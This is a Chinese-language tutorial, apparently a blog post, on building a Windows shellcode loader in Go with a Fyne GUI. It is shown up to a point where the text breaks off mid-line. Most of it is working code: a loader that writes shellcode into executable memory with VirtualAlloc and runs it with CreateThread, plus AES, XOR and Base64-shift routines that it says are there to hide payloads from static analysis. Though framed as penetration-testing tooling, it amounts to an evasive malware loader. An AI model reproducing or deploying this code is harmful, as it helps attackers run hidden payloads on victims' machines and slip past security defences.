使用 Go 和 Fyne 实现 Shellcode 加载器
背景介绍
在安全研究和渗透测试领域,Shellcode 是一种常见的攻击载荷,用于在目标系统中执行特定功能。然而,手动将 Shellcode 注入程序并生成可执行文件的过程往往繁琐且容易出错。为了简化这一流程,我开发了一个基于 Go 语言的 Shellcode 加载器,并结合 Fyne 框架为其添加了图形用户界面(GUI)。本文将分享这个工具的实现过程,包括核心加载逻辑、加密混淆技术、高级加载方式,以及如何通过 GUI 提升用户体验。
技术选型
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Go 语言:Go 提供了跨平台支持、强大的标准库和简单的编译过程,非常适合开发安全工具。
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Fyne 框架:Fyne 是一个轻量级的 Go GUI 框架,支持跨平台开发,易于上手,适合快速构建用户界面。
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Windows API:通过
syscall
调用 Windows 的内存分配和线程创建函数,实现 Shellcode 的加载。
实现过程
1. 核心加载逻辑
Shellcode 的加载需要将代码注入内存并执行。我们使用 Go 的syscall
包调用 Windows API,实现基本的内存加载流程。以下是核心代码:
package main import ( "log" "syscall" "unsafe" ) func BasicMemoryLoader(shellcode []byte) { kernel32 := syscall.NewLazyDLL("kernel32.dll") virtualAlloc := kernel32.NewProc("VirtualAlloc") rtlMoveMemory := kernel32.NewProc("RtlMoveMemory") createThread := kernel32.NewProc("CreateThread") waitForSingleObject := kernel32.NewProc("WaitForSingleObject") mem, _, err := virtualAlloc.Call(0, uintptr(len(shellcode)), 0x3000, 0x40) if mem == 0 { log.Fatalf("VirtualAlloc 失败: %v", err) } _, _, err = rtlMoveMemory.Call(mem, uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode))) if err != nil && err.Error() != "The operation completed successfully." { log.Fatalf("RtlMoveMemory 失败: %v", err) } thread, _, err := createThread.Call(0, 0, mem, 0, 0, 0) if thread == 0 { log.Fatalf("CreateThread 失败: %v", err) } _, _, err = waitForSingleObject.Call(thread, 0xFFFFFFFF) if err != nil && err.Error() != "The operation completed successfully." { log.Fatalf("WaitForSingleObject 失败: %v", err) } }
解析:
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VirtualAlloc
分配一块可执行内存(PAGE_EXECUTE_READWRITE
)。 -
RtlMoveMemory
将 Shellcode 复制到分配的内存。 -
CreateThread
创建线程执行 Shellcode。 -
WaitForSingleObject
等待线程完成。
2. 加密与混淆
1) AES加密和XOR混淆
为了提高 Shellcode 的隐蔽性,实现了 AES 加密和 XOR 混淆,也是常用的加密混淆方式:
package main import ( "crypto/aes" "crypto/cipher" crand "crypto/rand" "encoding/base64" "log" mrand "math/rand" ) func EncryptShellcodeAES(shellcode []byte) (string, string, []byte, error) { key := make([]byte, 16) if _, err := crand.Read(key); err != nil { return "", "", nil, err } block, err := aes.NewCipher(key) if err != nil { return "", "", nil, err } padded := padShellcode(shellcode, aes.BlockSize) iv := make([]byte, aes.BlockSize) if _, err := crand.Read(iv); err != nil { return "", "", nil, err } mode := cipher.NewCBCEncrypter(block, iv) encrypted := make([]byte, len(padded)) mode.CryptBlocks(encrypted, padded) return base64.StdEncoding.EncodeToString(iv), base64.StdEncoding.EncodeToString(encrypted), key, nil } func XORObfuscate(shellcode []byte, key int64) string { mrand.Seed(key) encoded := base64.StdEncoding.EncodeToString(shellcode) var result []byte for _, c := range encoded { result = append(result, byte(c)^byte(mrand.Intn(256))) } return base64.StdEncoding.EncodeToString(result) }
解析:
-
AES 加密:使用
crypto/rand
生成随机密钥和 IV,CBC 模式加密 Shellcode。 -
XOR 混淆:使用
math/rand
生成伪随机数,与 Shellcode 进行异或操作。
2)Base64 + 移位加密
描述:先将 Shellcode 编码为 Base64,然后对每个字节进行移位操作(例如左移或右移),增加静态分析的难度。
优点:简单高效,易于实现。
缺点:移位操作可逆性较强,需结合其他方法提升安全性。
代码示例:
package main import ( "encoding/base64" "log" ) // ShiftEncrypt 使用移位加密混淆 Shellcode func ShiftEncrypt(shellcode []byte, shift int) string { encoded := base64.StdEncoding.EncodeToString(shellcode) result := make([]byte, len(encoded)) for i, b := range []byte(encoded) { result[i] = b + byte(shift) // 简单右移加密 } return string(result) } // ShiftDecrypt 解密移位加密的 Shellcode func ShiftDecrypt(encrypted string, shift int) ([]byte, error) { data := []byte(encrypted) decoded := make([]byte, len(data)) for i, b := range data { decoded[i] = b - byte(shift) // 逆向移位 } return base64.StdEncoding.DecodeString(string(decoded)) } // 示例使用 func ExampleShift() { shellcode := []byte{0x90, 0x90, 0x90} encrypted := ShiftEncrypt(shellcode, 3) log.Println("Encrypted:", encrypted) decrypted, err := ShiftDecrypt(encrypted, 3) if err != nil { log.Fatalf("Decrypt failed: %v", err) } log.Println("Decrypted:", de
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